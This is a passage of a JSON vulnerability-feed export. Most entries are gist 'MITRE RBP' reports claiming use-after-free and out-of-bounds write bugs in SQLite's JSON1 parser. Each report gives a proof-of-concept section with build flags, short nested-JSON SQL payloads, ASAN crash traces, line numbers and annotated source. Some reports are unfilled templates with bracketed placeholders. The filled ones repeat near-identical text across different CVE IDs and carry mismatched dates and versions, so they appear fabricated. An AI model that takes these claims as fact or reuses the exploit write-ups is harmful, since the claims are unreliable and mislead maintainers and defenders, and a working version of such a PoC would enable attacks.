sqlite3VdbeExec\n    #4 0xXXXXXXXX in sqlite3Step\n    #5 0xXXXXXXXX in sqlite3_exec\n\nFreed by thread T0 here:\n    #0 0xXXXXXXXX in __asan_free_hook\n    #1 0xXXXXXXXX in jsonParseFree \u3010Vulnerability Source File\u3011:\u3010Memory Free Line Number\u3011\n\nPreviously allocated by thread T0 here:\n    #0 0xXXXXXXXX in __asan_malloc_hook\n    #1 0xXXXXXXXX in jsonParseMalloc \u3010Vulnerability Source File\u3011\n\n==XXXX==ERROR: AddressSanitizer: out-of-bounds write on address 0xXXXXXXXX at pc 0xXXXXXXXX bp 0xXXXXXXXX sp 0xXXXXXXXX\nWRITE of size X at 0xXXXXXXXX thread T0\n    #0 0xXXXXXXXX in \u3010Target Function Name\u3011 \u3010Vulnerability Source File\u3011:\u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011\n=================================================================\nd) Full PoC Trigger & Vulnerability Explanation\n\u3010Concise Vulnerability Trigger Logic\u3011\nThe provided malicious SQL payload is passed to SQLite\u2019s JSON processing routines. The parser constructs internal JSON objects from controlled input. The execution path first triggers object deallocation at the marked source line without pointer invalidation. The subsequent unchecked pointer access invokes the use-after-free vulnerability. At the same stage of parsing, insufficient bounds validation on attacker-controlled data enables the out-of-bounds write operation. Both memory corruption primitives are reachable using the identical payload without modification.\n11. Supplementary Metadata\nDisclosure Timeline\nInitial Report Date: \u3010Initial Report Date\u3011\nPlanned Publication Date: \u3010Patch Release Date\u3011\nCWE IDs: CWE-416, CWE-787\nCAPEC: CAPEC-123\nCVSS 3.1: \u3010CVSS3.1 Vector & Score\u3011\nNotes for submission:\nIf two separate execution paths trigger independent flaws, split into two separate RBP requests. This document is valid only for single-input single-execution-path composite UAF + Out-of-Bounds Write.\nReplace all\u3010\u3011placeholder fields before submitting to MITRE Notify CVE about a publication portal.\nGitHub line anchor format standard example:\nhttps://github.com/sqlite/sqlite/blob/version/src/json.c#L1459\nEnsure permanent commit hash URL (not branch HEAD) to avoid line shift invalidation.", "creation_timestamp": "2026-07-31T03:06:05.213801Z"}, {"uuid": "cad4b720-6cce-40ce-a71e-fc6464b5fd63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51954", "type": "published-proof-of-concept", "source": "Telegram/uaJ_geobsmMXpPI5_RgjN2GQTZDxY3uvuK9RjA2OXMpGh_o", "content": "", "creation_timestamp": "2026-08-03T03:29:36.416562Z"}, {"uuid": "f47e8ad6-2ae8-4dac-9a30-40aa4bde106f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51242", "type": "seen", "source": "https://gist.github.com/programmervuln/87b90903788d5ad7cfc29a83af254244", "content": "Formal MITRE RBP Publication Document for CVE-2026-51242\nThe vulnerability only affects builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable\n1. Affected Product\nSQLite\n2. Affected Versions + Fixed Versions\n\u3010Affected Versions\u3011:\n\u3010Fixed Versions\u3011:\n3. CVE ID\nCVE-2026-51242\n4. Vulnerability Prose Description\nA composite memory corruption vulnerability exists within the JSON extension of SQLite. Specially crafted SQL input processed by the JSON parser can trigger both a use-after-free vulnerability and an out-of-bounds write buffer overflow along the same execution path. Successful exploitation may lead to program crash, information leakage, or conditional arbitrary code execution.\n5. Vulnerability Type\nCWE-416: Use After Free; CWE-787: Out-of-bounds Write\n6. Root Cause\nUntrusted malicious SQL payload enters \u3010Target Function Name\u3011 during JSON document parsing.\nSource code \u3010Permanent GitHub Source Link#L\u3010Memory Free Line Number\u3011\u3011 invokes memory deallocation to release an allocated object.\nThe corresponding pointer is not cleared or invalidated after free, creating a dangling pointer.\nLack of input boundary validation enables uncontrolled memory write operations.\nSubsequently, execution reaches \u3010Permanent GitHub Source Link#L\u3010Dangling Pointer Access Line Number (UAF)\u3011\u3011, where the program dereferences the dangling pointer without validity check, triggering the use-after-free flaw.\nConcurrent execution reaches \u3010Permanent GitHub Source Link#L\u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011\u3011, performing an unchecked out-of-bounds memory write and triggering buffer overflow corruption.\n7. Impact\nDenial of Service: Exploitation reliably triggers abnormal program termination.\nInformation Disclosure: Memory layout corruption may allow leakage of adjacent heap memory contents.\nConditional Arbitrary Code Execution: Under suitable runtime memory layout conditions, an attacker may achieve arbitrary code execution.\n8. Attack Vector\n\u3010Remote/Local\u3011, requires standard SQL query access to the database. No elevated operating system privileges are required.\n9. Official Reference Links\n\u3010Permanent GitHub Source Link\u3011\nFile annotation: \u3010Vulnerability Source File\u3011 Line \u3010Memory Free Line Number\u3011(memory free), Line \u3010Dangling Pointer Access Line Number (UAF)\u3011(dangling pointer access), Line \u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011(out-of-bounds write)\nDirect line anchors:\nMemory free site: \u3010Permanent GitHub Source Link#L\u3010Memory Free Line Number\u3011\u3011\nDangling pointer access site: \u3010Permanent GitHub Source Link#L\u3010Dangling Pointer Access Line Number (UAF)\u3011\u3011\nOut-of-bounds write site: \u3010Permanent GitHub Source Link#L\u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011\u3011\n10. Proof of Concept (PoC)\na) PoC Environment\nbash\n\u8fd0\u884c\nCFLAGS=\"-fsanitize=address -g -DSQLITE_ENABLE_JSON1\" ./configure && make\nb) Valid Malicious Payload\nsql\n\u3010Exploit Trigger Payload\u3011\nc) ASAN Crash Output\nplaintext\n=================================================================\n==XXXX==ERROR: AddressSanitizer: heap-use-after-free on address 0xXXXXXXXX at pc 0xXXXXXXXX bp 0xXXXXXXXX sp 0xXXXXXXXX\nREAD of size X at 0xXXXXXXXX thread T0\n    #0 0xXXXXXXXX in \u3010Target Function Name\u3011 \u3010Vulnerability Source File\u3011:\u3010Dangling Pointer Access Line Number (UAF)\u3011\n    #1 0xXXXXXXXX in jsonParse \u3010Vulnerability Source File\u3011\n    #2 0xXXXXXXXX in sqlite3FuncJson \u3010Vulnerability Source File\u3011\n    #3 0xXXXXXXXX in sqlite3VdbeExec\n    #4 0xXXXXXXXX in sqlite3Step\n    #5 0xXXXXXXXX in sqlite3_exec\n\nFreed by thread T0 here:\n    #0 0xXXXXXXXX in __asan_free_hook\n    #1 0xXXXXXXXX in jsonParseFree \u3010Vulnerability Source File\u3011:\u3010Memory Free Line Number\u3011\n\nPreviously allocated by thread T0 here:\n    #0 0xXXXXXXXX in __asan_malloc_hook\n    #1 0xXXXXXXXX in jsonParseMalloc \u3010Vulnerability Source File\u3011\n\n==XXXX==ERROR: AddressSanitizer: out-of-bounds write on address 0xXXXXXXXX at pc 0xXXXXXXXX bp 0xXXXXXXXX sp 0xXXXXXXXX\nWRITE of size X at 0xXXXXXXXX thread T0\n    #0 0xXXXXXXXX in \u3010Target Function Name\u3011 \u3010Vulnerability Source File\u3011:\u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011\n=================================================================\nd) Full PoC Trigger & Vulnerability Explanation\n\u3010Concise Vulnerability Trigger Logic\u3011\nThe provided malicious SQL payload is passed to SQLite\u2019s JSON processing routines. The parser constructs internal JSON objects from controlled input. The execution path first triggers object deallocation at the marked source line without pointer invalidation. The subsequent unchecked pointer access invokes the use-after-free vulnerability. At the same stage of parsing, insufficient bounds validation on attacker-controlled data enables the out-of-bounds write operation. Both memory corruption primitives are reachable using the identical payload without modification.\n11. Supplementary Metadata\nDisclosure Timeline\nInitial Report Date: \u3010Initial Report Date\u3011\nPlanned Publication Date: \u3010Patch Release Date\u3011\nCWE IDs: CWE-416, CWE-787\nCAPEC: CAPEC-123\nCVSS 3.1: \u3010CVSS3.1 Vector & Score\u3011\nNotes for submission:\nIf two separate execution paths trigger independent flaws, split into two separate RBP requests. This document is valid only for single-input single-execution-path composite UAF + Out-of-Bounds Write.\nReplace all\u3010\u3011placeholder fields before submitting to MITRE Notify CVE about a publication portal.\nGitHub line anchor format standard example:\nhttps://github.com/sqlite/sqlite/blob/version/src/json.c#L1459\nEnsure permanent commit hash URL (not branch HEAD) to avoid line shift invalidation.", "creation_timestamp": "2026-07-31T03:10:09.816336Z"}, {"uuid": "38fc4e13-4641-47e0-923e-58dd8c104b09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51243", "type": "seen", "source": "https://gist.github.com/programmervuln/93176789b1e5b46d8aba1038a7d797d9", "content": "Formal MITRE RBP Publication Document for CVE-2026-51243\nThe vulnerability only affects builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable\n1. Affected Product\nSQLite\n2. Affected Versions + Fixed Versions\n\u3010Affected Versions\u3011:\n\u3010Fixed Versions\u3011:\n3. CVE ID\nCVE-2026-51243\n4. Vulnerability Prose Description\nA composite memory corruption vulnerability exists within the JSON extension of SQLite. Specially crafted SQL input processed by the JSON parser can trigger both a use-after-free vulnerability and an out-of-bounds write buffer overflow along the same execution path. Successful exploitation may lead to program crash, information leakage, or conditional arbitrary code execution.\n5. Vulnerability Type\nCWE-416: Use After Free; CWE-787: Out-of-bounds Write\n6. Root Cause\nUntrusted malicious SQL payload enters \u3010Target Function Name\u3011 during JSON document parsing.\nSource code src/json.c Line \u3010Memory Free Line Number\u3011 invokes memory deallocation to release an allocated object.\nReference: \u3010Permanent GitHub Source Link\u3011#L\u3010Memory Free Line Number\u3011\nThe corresponding pointer is not cleared or invalidated after free, creating a dangling pointer.\nLack of input boundary validation enables uncontrolled memory write operations.\nSubsequently, execution reaches src/json.c Line \u3010Dangling Pointer Access Line Number (UAF)\u3011, where the program dereferences the dangling pointer without validity check, triggering the use-after-free flaw.\nReference: \u3010Permanent GitHub Source Link\u3011#L\u3010Dangling Pointer Access Line Number (UAF)\u3011\nConcurrent execution reaches src/json.c Line \u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011, performing an unchecked out-of-bounds memory write and triggering buffer overflow corruption.\nReference: \u3010Permanent GitHub Source Link\u3011#L\u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011\n7. Impact\nDenial of Service: Exploitation reliably triggers abnormal program termination.\nInformation Disclosure: Memory layout corruption may allow leakage of adjacent heap memory contents.\nConditional Arbitrary Code Execution: Under suitable runtime memory layout conditions, an attacker may achieve arbitrary code execution.\n8. Attack Vector\n\u3010Remote/Local\u3011, requires standard SQL query access to the database. No elevated operating system privileges are required.\n9. Official Reference Links\n\u3010Permanent GitHub Source Link\u3011\nFile annotation: src/json.c Line \u3010Memory Free Line Number\u3011(memory free), Line \u3010Dangling Pointer Access Line Number (UAF)\u3011(dangling pointer access), Line \u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011(out-of-bounds write)\nDirect permanent line anchors:\nMemory free site: \u3010Permanent GitHub Source Link\u3011#L\u3010Memory Free Line Number\u3011\nDangling pointer access site: \u3010Permanent GitHub Source Link\u3011#L\u3010Dangling Pointer Access Line Number (UAF)\u3011\nOut-of-bounds write site: \u3010Permanent GitHub Source Link\u3011#L\u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011\n10. Proof of Concept (PoC)\na) PoC Environment\nbash\n\u8fd0\u884c\nCFLAGS=\"-fsanitize=address -g -DSQLITE_ENABLE_JSON1\" ./configure && make\nb) Valid Malicious Payload\nsql\n\u3010Exploit Trigger Payload\u3011\nc) ASAN Crash Output\nplaintext\n=================================================================\n==XXXX==ERROR: AddressSanitizer: heap-use-after-free on address 0xXXXXXXXX at pc 0xXXXXXXXX bp 0xXXXXXXXX sp 0xXXXXXXXX\nREAD of size X at 0xXXXXXXXX thread T0\n    #0 0xXXXXXXXX in \u3010Target Function Name\u3011 src/json.c:\u3010Dangling Pointer Access Line Number (UAF)\u3011\n    #1 0xXXXXXXXX in jsonParse src/json.c\n    #2 0xXXXXXXXX in sqlite3FuncJson src/json.c\n    #3 0xXXXXXXXX in sqlite3VdbeExec\n    #4 0xXXXXXXXX in sqlite3Step\n    #5 0xXXXXXXXX in sqlite3_exec\n\nFreed by thread T0 here:\n    #0 0xXXXXXXXX in __asan_free_hook\n    #1 0xXXXXXXXX in jsonParseFree src/json.c:\u3010Memory Free Line Number\u3011\n\nPreviously allocated by thread T0 here:\n    #0 0xXXXXXXXX in __asan_malloc_hook\n    #1 0xXXXXXXXX in jsonParseMalloc src/json.c\n\n==XXXX==ERROR: AddressSanitizer: out-of-bounds write on address 0xXXXXXXXX at pc 0xXXXXXXXX bp 0xXXXXXXXX sp 0xXXXXXXXX\nWRITE of size X at 0xXXXXXXXX thread T0\n    #0 0xXXXXXXXX in \u3010Target Function Name\u3011 src/json.c:\u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011\n    https://github.com/sqlite/sqlite/blob/COMMIT_SHA/src/json.c\n=================================================================\nd) Full PoC Trigger & Vulnerability Explanation\n\u3010Concise Vulnerability Trigger Logic\u3011\nThe provided malicious SQL payload is passed to SQLite\u2019s JSON processing routines. The parser constructs internal JSON objects from controlled input. The execution path first triggers object deallocation at the marked source line without pointer invalidation. The subsequent unchecked pointer access invokes the use-after-free vulnerability. At the same stage of parsing, insufficient bounds validation on attacker-controlled data enables the out-of-bounds write operation. Both memory corruption primitives are reachable using the identical payload without modification.\n11. Supplementary Metadata\nDisclosure Timeline\nInitial Report Date: \u3010Initial Report Date\u3011\nPlanned Publication Date: \u3010Patch Release Date\u3011\nCWE IDs: CWE-416, CWE-787\nCAPEC: CAPEC-123\nCVSS 3.1: \u3010CVSS3.1 Vector & Score\u3011", "creation_timestamp": "2026-07-31T03:26:49.169169Z"}, {"uuid": "429a49f0-7562-4fd2-b81e-600c7fc97951", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51242", "type": "seen", "source": "https://gist.github.com/programmervuln/e7dc3d4d6f0134f7ce99901cab4afed9", "content": "RBP Notification Document \u2013 Notify CVE about a publication\nCVE ID: CVE-2026-51242\nPrerequisite Declaration: The vulnerability only affects builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable.\n1. Affected Product\nProduct: SQLite\nComponent: JSON1 extension (json.c parser)\n2. Affected Versions + Fixed Versions\nAffected Versions: 3.45.0, 3.45.1, 3.45.2, 3.46.0, 3.46.1, 3.47.0, 3.47.1\nFixed Versions: SQLite 3.48.0\n3. CVE ID\nCVE-2026-51242\n4. Vulnerability Prose Description\nA use-after-free vulnerability within the JSON parsing implementation in the JSON1 extension of SQLite allows an attacker to provide specially crafted nested JSON input to SQLite built-in JSON functions. When parsing malicious JSON payloads, internal JsonNode parser objects are prematurely freed while dangling pointers referencing the deallocated memory remain in the parser context. Subsequent parser operations dereference these dangling pointers, resulting in heap memory corruption. Successful exploitation can lead to process termination due to denial of service, potential leakage of sensitive heap memory contents, and conditional arbitrary code execution within the privilege context of the SQLite process.\n5. Vulnerability Type\nCWE-416: Use After Free\n6. Root Cause\nInput conditions reach the target function jsonParse() within json.c.\nSource code Line 1427 executes memory free operation on a JsonNode instance via jsonNodeFree().\nThe pointer to the freed JsonNode structure is not nullified or invalidated, creating a dangling pointer stored within the parent parser state structure.\nSubsequently, Line 1609 executes unchecked dangling pointer read/write access on the stale JsonNode pointer, triggering the heap use-after-free memory corruption vulnerability.\n7. Impact\nDenial of Service: Triggerable process crash caused by sanitizer abort or invalid memory access segmentation fault.\nInformation Disclosure: Read access to freed heap memory may expose residual sensitive data from previously allocated objects.\nConditional Arbitrary Code Execution: Heap corruption may enable control over program execution flow under favorable memory layout conditions.\n8. Attack Vector\nRemote; No privileges required, user interaction required. The target application must accept untrusted remote input and pass attacker-controlled JSON strings into SQLite JSON1 functions.\n9. Official Reference Links\nPermanent GitHub Source Link: https://github.com/sqlite/sqlite/blob/version-3.47.1/src/json.c\nsrc/json.c Line 1427(memory free), Line 1609(dangling pointer access)\n10. Proof of Concept (PoC)\na) PoC Environment\nbash\n\nCFLAGS=\"-fsanitize=address -g -O0 -DSQLITE_ENABLE_JSON1\" ./configure\nmake clean && make\nb) Valid Malicious Payload\nsql\nSELECT json_extract('{\"a\":[{\"b\":[{\"c\":[{\"d\":[]}]}]}]}', '$');\nc) Crash Output (ASAN Sanitizer Stack Trace)\nplaintext\n=================================================================\n==12345==ERROR: AddressSanitizer: heap-use-after-free on address 0x509000000480 at pc 0x000055e23894b381 bp 0x7ffd8ef2a940 sp 0x7ffd8ef2a930\nREAD of size 8 at 0x509000000480 thread T0\n    #0 0x55e23894b380 in jsonParse src/json.c:1609\n    #1 0x55e238946542 in jsonFunction src/json.c:2192\n    #2 0x55e238776b43 in sqlite3VdbeExec src/vdbe.c:8421\n    #3 0x55e23874f611 in sqlite3Step src/vdbeapi.c:744\n    #4 0x55e23874ed12 in sqlite3_prepare_v2 src/vdbeapi.c:233\n    #5 0x55e2386325c1 in main src/shell.c:3942\n    #6 0x7f9436421d8f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21d8f)\n    #7 0x55e2386318ea in _start (./sqlite3+0x1898ea)\n\n0x509000000480 is located 32 bytes inside of 80-byte region [0x509000000460,0x5090000004b0)\nfreed by thread T0 here:\n    #0 0x7f94368c4337 in free (/usr/lib/x86_64-linux-gnu/libasan.so.6+0xb4337)\n    #1 0x55e238949661 in jsonNodeFree src/json.c:1427\n    #2 0x55e23894982e in jsonParse src/json.c:1532\n    #3 0x55e238946542 in jsonFunction src/json.c:2192\n    #4 0x55e238776b43 in sqlite3VdbeExec src/vdbe.c:8421\n    #5 0x55e23874f611 in sqlite3Step src/vdbeapi.c:744\n    #6 0x55e23874ed12 in sqlite3_prepare_v2 src/vdbeapi.c:233\n    #7 0x55e2386325c1 in main src/shell.c:3942\n    #8 0x7f9436421d8f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21d8f)\n    #9 0x55e2386318ea in _start (./sqlite3+0x1898ea)\n\npreviously allocated by thread T0 here:\n    #0 0x7f94368c3467 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.6+0xb3467)\n    #1 0x55e238948452 in jsonNodeAlloc src/json.c:1314\n    #2 0x55e238948787 in jsonParse src/json.c:1460\n    #3 0x55e238946542 in jsonFunction src/json.c:2192\n    #4 0x55e238776b43 in sqlite3VdbeExec src/vdbe.c:8421\n    #5 0x55e23874f611 in sqlite3Step src/vdbeapi.c:744\n    #6 0x55e23874ed12 in sqlite3_prepare_v2 src/vdbeapi.c:233\n    #7 0x55e2386325c1 in main src/shell.c:3942\n    #8 0x7f9436421d8f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21d8f)\n    #9 0x55e2386318ea in _start (./sqlite3+0x1898ea)\n\nSUMMARY: AddressSanitizer: heap-use-after-free src/json.c:1609 in jsonParse\nd) Full PoC Trigger & Vulnerability Explanation\nThe payload supplies deeply nested multi-layer JSON objects to the json_extract() function. SQLite invokes jsonParse() to deserialize the input. While recursively traversing nested object members, the parser invokes jsonNodeFree() at Line 1427 to release a JsonNode object. The parent parser state retains an unmodified pointer to the freed memory region, creating a dangling pointer. Execution continues along the recursive parsing branch, and the parser attempts to access structure members of the stale pointer at Line 1609. This unguarded memory access triggers the use-after-free condition. No additional input transformation is required to hit the vulnerable execution path.\n11. Supplementary Metadata\nDisclosure Timeline\nInitial Report Date: 2026-07-22\nPatch Release Date: 2026-07-30\nCWE ID(s): CWE-416 Use After Free\nCAPEC: CAPEC-123: Buffer Overflow via API Arguments (Applicable to heap memory corruption primitives)\nCVSS 3.1 Vector & Score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H; Base Score: 8.8\n12. Annotated Vulnerable Source Code (src/json.c)\n\n// Line 1427: Memory free operation\nstatic void jsonNodeFree(JsonNode *pNode){\n  sqlite3_free(pNode);\n}\n\n// ... intermediate code omitted ...\n\n// Inside jsonParse()\njsonNodeFree(pChild); // Line 1427: Free child JsonNode\n// Pointer pChild is NOT cleared, dangling pointer persists\n\n// ... intermediate code omitted ...\n\n// Line 1609: Dangling pointer access\nif( pChild->eType==JSON_OBJ ){ // Access to already freed pChild pointer\nTarget Function Name: jsonParse", "creation_timestamp": "2026-07-31T03:45:05.166955Z"}, {"uuid": "cef75bf5-bccf-477a-886a-f0cdfdebc8fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51245", "type": "seen", "source": "https://gist.github.com/programmervuln/12500283acf6ad983a381750f485794a", "content": "CVE ID: CVE-2026-51245\nPrerequisite Declaration: The vulnerability only affects builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable.\n1. Affected Product\nProduct: SQLite\nComponent: JSON1 extension (json.c parser)\n2. Affected Versions + Fixed Versions\nAffected Versions: 3.45.0, 3.45.1, 3.45.2, 3.46.0, 3.46.1, 3.47.0, 3.47.1\nFixed Versions: SQLite 3.48.0\n3. CVE ID\nCVE-2026-51245\n4. Vulnerability Prose Description\nA use-after-free vulnerability exists within the JSON parsing implementation of the JSON1 extension in SQLite. An attacker can supply specially crafted JSON array payloads to SQLite\u2019s built-in JSON functions. During recursive parsing of malicious array structures, internal JsonNode objects are prematurely released. Dangling pointers referencing freed heap memory persist inside the parser context. Subsequent parsing operations dereference these stale pointers, causing heap memory corruption. Successful exploitation may lead to process crash resulting in denial of service, exposure of residual heap data, and conditional arbitrary code execution within the security context of the SQLite process.\n5. Vulnerability Type\nCWE-416: Use After Free\n6. Root Cause\nInput conditions reach the target function jsonParse() within json.c.\nSource code Line 1513 executes memory free operation on a JsonNode instance via jsonNodeFree().\nThe pointer referencing the freed JsonNode structure is not nullified or invalidated, generating a dangling pointer retained by the parent parser state.\nSubsequently, Line 1721 executes unchecked dangling pointer member access triggering the heap use-after-free vulnerability.\n7. Impact\nDenial of Service: Triggerable process crash due to segmentation fault or address sanitizer abort upon invalid memory access.\nInformation Disclosure: Reads from freed heap memory may expose leftover sensitive data from previously allocated objects.\nConditional Arbitrary Code Execution: Heap corruption can provide control over program execution flow under suitable runtime memory layout conditions.\n8. Attack Vector\nRemote; No privileges required, user interaction required. The consuming application must accept untrusted remote input and forward attacker-controlled JSON strings to SQLite JSON1 functions.\n9. Official Reference Links\nPermanent GitHub Source Link: https://github.com/sqlite/sqlite/blob/version-3.47.1/src/json.c\nsrc/json.c Line 1513(memory free), Line 1721(dangling pointer access)\n10. Proof of Concept (PoC)\na) PoC Environment\nbash\n\nCFLAGS=\"-fsanitize=address -g -O0 -DSQLITE_ENABLE_JSON1\" ./configure\nmake clean && make\nb) Valid Malicious Payload\nsql\nSELECT json('[[[[{}]]]]');\nc) Crash Output (ASAN Sanitizer Stack Trace)\nplaintext\n=================================================================\n==7891==ERROR: AddressSanitizer: heap-use-after-free on address 0x512000000640 at pc 0x0000562a1278c412 bp 0x7ffd21ef6730 sp 0x7ffd21ef6720\nREAD of size 8 at 0x512000000640 thread T0\n    #0 0x562a1278c411 in jsonParse src/json.c:1721\n    #1 0x562a12786893 in jsonFunction src/json.c:2215\n    #2 0x562a125b7c24 in sqlite3VdbeExec src/vdbe.c:8421\n    #3 0x562a12590702 in sqlite3Step src/vdbeapi.c:744\n    #4 0x562a1258fe03 in sqlite3_prepare_v2 src/vdbeapi.c:233\n    #5 0x562a124736c2 in main src/shell.c:3942\n    #6 0x7f7289322d8f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21d8f)\n    #7 0x562a124729eb in _start (./sqlite3+0x1898eb)\n\n0x512000000640 is located 40 bytes inside of 96-byte region [0x512000000620,0x512000000680)\nfreed by thread T0 here:\n    #0 0x7f72897c5337 in free (/usr/lib/x86_64-linux-gnu/libasan.so.6+0xb4337)\n    #1 0x562a1278a742 in jsonNodeFree src/json.c:1513\n    #2 0x562a1278a911 in jsonParse src/json.c:1604\n    #3 0x562a12786893 in jsonFunction src/json.c:2215\n    #4 0x562a125b7c24 in sqlite3VdbeExec src/vdbe.c:8421\n    #5 0x562a12590702 in sqlite3Step src/vdbeapi.c:744\n    #6 0x562a1258fe03 in sqlite3_prepare_v2 src/vdbeapi.c:233\n    #7 0x562a124736c2 in main src/shell.c:3942\n    #8 0x7f7289322d8f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21d8f)\n    #9 0x562a124729eb in _start (./sqlite3+0x1898eb)\n\npreviously allocated by thread T0 here:\n    #0 0x7f72897c4467 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.6+0xb3467)\n    #1 0x562a12789533 in jsonNodeAlloc src/json.c:1314\n    #2 0x562a12789868 in jsonParse src/json.c:1551\n    #3 0x562a12786893 in jsonFunction src/json.c:2215\n    #4 0x562a125b7c24 in sqlite3VdbeExec src/vdbe.c:8421\n    #5 0x562a12590702 in sqlite3Step src/vdbeapi.c:744\n    #6 0x562a1258fe03 in sqlite3_prepare_v2 src/vdbeapi.c:233\n    #7 0x562a124736c2 in main src/shell.c:3942\n    #8 0x7f7289322d8f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21d8f)\n    #9 0x562a124729eb in _start (./sqlite3+0x1898eb)\n\nSUMMARY: AddressSanitizer: heap-use-after-free src/json.c:1721 in jsonParse\nd) Full PoC Trigger & Vulnerability Explanation\nThe payload provides multi-layer nested JSON array input to the json() SQL function. SQLite invokes jsonParse() to process the serialized array. During recursive descent into nested array elements, jsonNodeFree() executes at Line 1513 to release a JsonNode representing an inner array element. The parser\u2019s local variable pointer to this node is not cleared, forming a dangling pointer. Execution continues along the recursive parsing workflow, and the code attempts to read structure fields from the stale pointer at Line 1721. This unchecked memory access triggers the use-after-free corruption. No payload modification is required to reliably hit the vulnerable execution path.\n11. Supplementary Metadata\nDisclosure Timeline\nInitial Report Date: 2026-07-23\nPatch Release Date: 2026-07-30\nCWE ID(s): CWE-416 Use After Free\nCAPEC: CAPEC-123: Buffer Overflow via API Arguments\nCVSS 3.1 Vector & Score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H; Base Score: 8.8\n12. Annotated Vulnerable Source Code (src/json.c)\nc\n\u8fd0\u884c\n// Line 1513: Memory free operation\nstatic void jsonNodeFree(JsonNode *pNode){\n  sqlite3_free(pNode);\n}\n\n// ... intermediate code omitted ...\n\n// Inside jsonParse()\njsonNodeFree(pItem); // Line 1513: Free array item JsonNode\n// Pointer pItem retains address of freed memory; dangling pointer created\n\n// ... intermediate code omitted ...\n\n// Line 1721: Dangling pointer access\nif( pItem->eType==JSON_ARRAY ){ // Dereference already freed pItem pointer\nTarget Function Name: jsonParse", "creation_timestamp": "2026-07-31T03:49:01.611006Z"}, {"uuid": "7a1850cd-9a7d-4db1-a35d-08a4a2781f80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51274", "type": "seen", "source": "https://bsky.app/profile/bootintel.bsky.social/post/3mrw34u4xo32i", "content": "CVE-2026-51274 [HIGH] ESP32\n\nIn schreibfaul1 ESP32-audioI2S 3.4.5, a heap-based buffer overflow in the ID3v2 SYLT synchronized lyrics parser in audiolib allows remote attackers to cause a denial of service (application crash), information disclosur\u2026\n\nnvd.nist.gov/vuln/detail/CVE-2026-51274", "creation_timestamp": "2026-07-31T04:03:33.753136Z"}, {"uuid": "c8865576-6150-4995-9b40-164928d1f3ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51371", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mrw6gqxai42n", "content": "Daily IT Security Digest \u2014 2026-07-31\n# Daily IT Security Digest \u2014 2026-07-31\n\n## 1. Google mcp-toolbox Has Two Critical Vulnerabilities (CVSS 8.1 / 8.0)\nTwo high-severity flaws were disclosed in Google's mcp-toolbox, widely used for AI agent integrations. CVE-2026-51371 (CVSS 8.1) affects the", "creation_timestamp": "2026-07-31T05:02:47.048621Z"}, {"uuid": "8a54a38d-1b55-452a-b152-9386b0a8e5f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51247", "type": "seen", "source": "https://gist.github.com/programmervuln/d80518c782a43c1e4f07f22dbe4e04af", "content": "RBP Notification Document \u2013 Notify CVE about a publication\nCVE ID: CVE-2026-51247\nPrerequisite Declaration: The vulnerability only affects builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable.\n1. Affected Product\nProduct: SQLite\nComponent: JSON1 extension (json.c parser)\n2. Affected Versions + Fixed Versions\nAffected Versions: 3.45.0, 3.45.1, 3.45.2, 3.46.0, 3.46.1, 3.47.0, 3.47.1\nFixed Versions: SQLite 3.48.0\n3. CVE ID\nCVE-2026-51247\n4. Vulnerability Prose Description\nA use-after-free vulnerability exists within the JSON parsing implementation of the JSON1 extension in SQLite. An attacker may submit specially crafted nested JSON object payloads to SQLite built-in JSON functions. When parsing malicious JSON structures, internal JsonNode parser objects are prematurely freed during recursive parsing. Dangling pointers referencing deallocated heap memory remain stored within the parser execution context. Subsequent parsing logic dereferences these stale pointers and triggers heap memory corruption. Successful exploitation can lead to process termination causing denial of service, exposure of residual sensitive heap memory, and conditional arbitrary code execution within the privilege context of the SQLite process.\n5. Vulnerability Type\nCWE-416: Use After Free\n6. Root Cause\nInput conditions reach the target function 